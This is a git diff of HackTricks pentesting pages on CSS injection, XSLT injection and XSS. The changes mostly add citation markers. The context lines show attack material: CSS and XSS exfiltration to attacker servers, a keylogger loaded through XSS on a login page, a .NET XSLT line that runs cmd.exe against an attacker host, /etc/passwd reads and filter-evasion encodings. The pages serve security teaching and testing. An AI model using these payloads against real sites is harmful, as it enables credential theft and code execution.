+- [1] [Boosting your ROP skills with SROP and ret2dlresolve - Giulia Martino (HackTricks Track 2023)](https://youtu.be/ADULSwnQs-s?feature=shared)
+- [2] [ret2dlresolve - ir0nstone notes](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
+- [3] [0ctf18 babystack - Nightmare (guyinatuxedo)](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
+- [4] [ret2dlresolve - CTF Recipes](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
+- [5] [ret2dlresolve exploitation - ir0nstone notes](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation)
+- [6] [0CTF 2018 babystack write-up - sajjadium](https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md
index feea4c0847b..b28d8ceb431 100644
--- a/src/pentesting-web/xs-search/css-injection/README.md
+++ b/src/pentesting-web/xs-search/css-injection/README.md
@@ -41,7 +41,7 @@ input[name="csrf"][value^="csrF"] ~ * {
}
```
-A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
+A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).[[2]](#references)
#### Prerequisites for CSS Injection
@@ -53,7 +53,7 @@ For the CSS Injection technique to be effective, certain conditions must be met:
### Blind Attribute Selector
-As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.[[11]](#references)\
It's also possible to use those selectors to extract information from several block of the same type like in:
```html
@@ -74,7 +74,7 @@ The previous technique has some drawbacks, check the prerequisites. You either n
However, there is another clever technique that uses **CSS `@import`** to improve the quality of the technique.
-This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) and it works like this:
+This was first showed by [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) and it works like this:[[12]](#references)
Instead of loading the same page once and again with tens of different payloads each time (like in the previous one), we are going to **load the page just once and just with an import to the attackers server** (this is the payload to send to the victim):
@@ -92,7 +92,7 @@ Instead of loading the same page once and again with tens of different payloads
The attacker will f**ollow that loop until it manages to leak completely the secret**.
-You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
+You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)[[13]](#references)
> [!TIP]
> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
@@ -117,7 +117,7 @@ You can find the original [**Pepe Vila's code to exploit this here**](https://gi
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
-This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
+This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.[[5]](#references)
> [!WARNING]
> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
@@ -157,14 +157,14 @@ Notes and limitations:
- Best suited for finite/enumerable value spaces (IDs, flags, short usernames). Stealing arbitrary long strings without external stylesheets remains challenging.
- Any CSS property that fetches a URL can be used to trigger the request (e.g., background/image-set, border-image, list-style, cursor, content).
-Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
+Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda [[6]](#references)
### Other selectors
Other ways to access DOM parts with **CSS selectors**:
- **`.class-to-search:nth-child(2)`**: This will search the second item with class "class-to-search" in the DOM.
-- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**[[21]](#references)
```css
[role^="img"][aria-label="1"]:empty {
@@ -176,7 +176,7 @@ Other ways to access DOM parts with **CSS selectors**:
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
-The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.
+The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**.[[14]](#references)[[15]](#references)
```html
@@ -216,7 +216,7 @@ The overall intention is to **use a custom font from a controlled endpoint** and
The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.
-A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
+A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection.[[16]](#references) The method involves injecting a CSS rule like this:
```css
:target::before {
@@ -280,7 +280,7 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
-The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps:
+The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width.[[17]](#references) The process involves several steps:
1. **Creation of Custom Fonts**:
@@ -321,7 +321,7 @@ The technique described involves extracting text from a node by exploiting font
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
-This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
+This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.[[18]](#references)[[19]](#references)
The concept revolves around utilizing an animation to incrementally expand a `div`'s width, allowing one character at a time to transition from the 'suffix' part of the text to the 'prefix' part. This process effectively splits the text into two sections:
@@ -780,13 +780,13 @@ div::-webkit-scrollbar:vertical {
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
-This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.
+This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.[[20]](#references)
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
-In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:
+In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:[[20]](#references)
```css
@font-face {
@@ -804,7 +804,7 @@ However, if the time difference of the cached response from the non-cached one i
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
-In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
+In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:[[20]](#references)
```css
@font-face {
@@ -827,15 +827,26 @@ So, if the font does not match, the response time when visiting the bot is expec
## References
-- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
-- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
-- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
-- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
-- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
-- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
-- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
-- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
-- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
-- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
+- [1] [LINE CTF 2022 - CSS/XS-Leak writeup (gist)](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
+- [2] [Better Exfiltration via HTML Injection (d0nut)](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
+- [3] [Exfiltration via CSS Injection](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
+- [4] [CSS Injection Primitives (Doomsday Vault)](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
+- [5] [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
+- [6] [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
+- [7] [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
+- [8] [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
+- [9] [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
+- [10] [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
+- [11] [Blind CSS Exfiltration (PortSwigger)](https://portswigger.net/research/blind-css-exfiltration)
+- [12] [CSS Injection Attacks - slides (Pepe Vila)](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)
+- [13] [Pepe Vila's @import CSS exfiltration PoC (gist)](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)
+- [14] [CSS based Attack: Abusing unicode-range of @font-face (Masato Kinugawa)](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)
+- [15] [Error-Based XS-Search PoC (@terjanq)](https://twitter.com/terjanq/status/1180477124861407234)
+- [16] [New technique of stealing data using CSS and Scroll-to-Text Fragment (SECFORCE)](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+- [17] [Wykradanie danych w świetnym stylu (Michał Bentkowski, sekurak)](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+- [18] [PoC: leaking the charset with a default font (Cgvwzq & Terjanq)](https://demo.vwzq.net/css2.html)
+- [19] [What can we do with single CSS injection? (Slackers thread)](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)
+- [20] [justCTF 2022 write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+- [21] [bi0sCTF 2022 - Emo-Locker writeup](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
index 32cc40b86a8..8bcff23f8d3 100644
--- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
+++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
@@ -305,7 +305,7 @@ On **libxslt**, `document()` is useful for SSRF and for reading **other XML docu
- `document('/path/to/file.xml')` may work if the target file is valid XML.
- `document('/etc/passwd')` commonly errors because the file is not XML.
-This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.
+This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.[[4]](#references)
### Parser asymmetry: XML hardened, XSLT still dangerous
@@ -318,7 +318,7 @@ That pattern usually means:
So if XXE payloads fail, fingerprint the processor first and then switch to processor-specific XSLT payloads instead of stopping at the XML parser result.
-With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowing file and network access, and it only mediates transformation-time I/O. `xsl:import` / `xsl:include` are parsed before that access-control hook, so a target can still fetch attacker-controlled stylesheets even when later `document()` calls are restricted.
+With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowing file and network access, and it only mediates transformation-time I/O. `xsl:import` / `xsl:include` are parsed before that access-control hook, so a target can still fetch attacker-controlled stylesheets even when later `document()` calls are restricted.[[7]](#references)
### **Internal (PHP-function)**
@@ -379,7 +379,7 @@ With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowi
### **libxslt / EXSLT `exsl:document`**
-If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.
+If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.[[4]](#references)[[6]](#references)
```xml
@@ -401,7 +401,7 @@ Practical workflow:
- First write a marker into a **web-served path** to confirm the primitive.
- Then write into an **execution sink** already present on the host, such as a cron-polled script directory, a parser auto-reload path, or another scheduled task input.
-If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.
+If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.[[4]](#references)
Other ways to write files in the PDF
@@ -475,7 +475,7 @@ xmlns:rt="java:java.lang.Runtime">
```
-This needs **SaxonJ-PE/EE** reflexive extension functions to be available. If `ALLOW_EXTERNAL_FUNCTIONS` is disabled you may still keep `doc()` / `unparsed-text()` primitives, so a failed Java call does not mean the stylesheet is fully sandboxed.
+This needs **SaxonJ-PE/EE** reflexive extension functions to be available. If `ALLOW_EXTERNAL_FUNCTIONS` is disabled you may still keep `doc()` / `unparsed-text()` primitives, so a failed Java call does not mean the stylesheet is fully sandboxed.[[8]](#references)
#### **.NET `msxsl:script`**
@@ -492,7 +492,7 @@ public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker
```
-This only works when the application loads the stylesheet with script enabled (`XsltSettings.EnableScript=true` / `TrustedXslt`). On **.NET Framework** this is still a valid execution primitive; on **.NET Core / .NET 5+** `msxsl:script` is unsupported, so test `document()` separately.
+This only works when the application loads the stylesheet with script enabled (`XsltSettings.EnableScript=true` / `TrustedXslt`). On **.NET Framework** this is still a valid execution primitive; on **.NET Core / .NET 5+** `msxsl:script` is unsupported, so test `document()` separately.[[9]](#references)
### **More Languages**
@@ -531,16 +531,16 @@ version="1.0">
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
-## **References**
-
-- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
-- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
-- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
-- [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html)
-- [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)
-- [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html)
-- [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html)
-- [Saxon - Writing reflexive extension functions in Java](https://www.saxonica.com/html/documentation11/extensibility/extension-functions-J/reflexive-functions/index.html)
-- [.NET - Script Blocks Using msxsl:script](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script)
+## References
+
+- [1] [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
+- [2] [Abusing XSLT for practical attacks - Arnaboldi - IOActive](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
+- [3] [Abusing XSLT for practical attacks - Arnaboldi - Blackhat 2015](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
+- [4] [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html)
+- [5] [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)
+- [6] [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html)
+- [7] [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html)
+- [8] [Saxon - Writing reflexive extension functions in Java](https://www.saxonica.com/html/documentation11/extensibility/extension-functions-J/reflexive-functions/index.html)
+- [9] [.NET - Script Blocks Using msxsl:script](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 117c29d417f..d3569123f25 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -64,7 +64,7 @@ If your input is reflected inside the value of the attribute of a tag you could
#### Attribute-only login XSS behind WAFs
-A corporate SSO login page reflected the OAuth `service` parameter inside the `href` attribute of ``. Even though `<` and `>` were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as `" onfocus="payload" x="`.
+A corporate SSO login page reflected the OAuth `service` parameter inside the `href` attribute of ``. Even though `<` and `>` were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as `" onfocus="payload" x="`.[[1]](#references)
1. **Inject the handler:** Simple payloads like `onclick="print(1)"` were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute: `onfocus="(history.length);malicious_code_here"`.
2. **Auto-trigger it:** Browsers focus any element whose `id` matches the fragment, so appending `#forgot_btn` to the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click.
@@ -89,7 +89,7 @@ onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,4
**Why this steals credentials**
-The external script (loaded from an attacker-controlled host or Burp Collaborator) hooked `document.onkeypress`, buffered keystrokes, and every second issued `new Image().src = collaborator_url + keys`. Because the XSS only fires for unauthenticated users, the sensitive action is the login form itself—the attacker keylogs usernames and passwords even if the victim never presses "Login".
+The external script (loaded from an attacker-controlled host or Burp Collaborator) hooked `document.onkeypress`, buffered keystrokes, and every second issued `new Image().src = collaborator_url + keys`. Because the XSS only fires for unauthenticated users, the sensitive action is the login form itself—the attacker keylogs usernames and passwords even if the victim never presses "Login".[[1]](#references)
Weird example of Angular executing XSS if you controls a class name:
@@ -574,7 +574,7 @@ If `<>` are being sanitised you can still **escape the string** where your input
#### JS-in-JS string break → inject → repair pattern
-When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:
+When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton:[[4]](#references)
```
" // end original string
@@ -621,14 +621,14 @@ loop``
#### Deliverable payloads with eval(atob()) and scope nuances
-To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:
+To keep URLs shorter and bypass naive keyword filters, you can base64-encode your real logic and evaluate it with `eval(atob('...'))`. If simple keyword filtering blocks identifiers like `alert`, `eval`, or `atob`, use Unicode-escaped identifiers which compile identically in the browser but evade string-matching filters:[[4]](#references)
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
-Important scoping nuance: `const`/`let` declared inside `eval()` are block-scoped and do NOT create globals; they won’t be accessible to later scripts. Use a dynamically injected `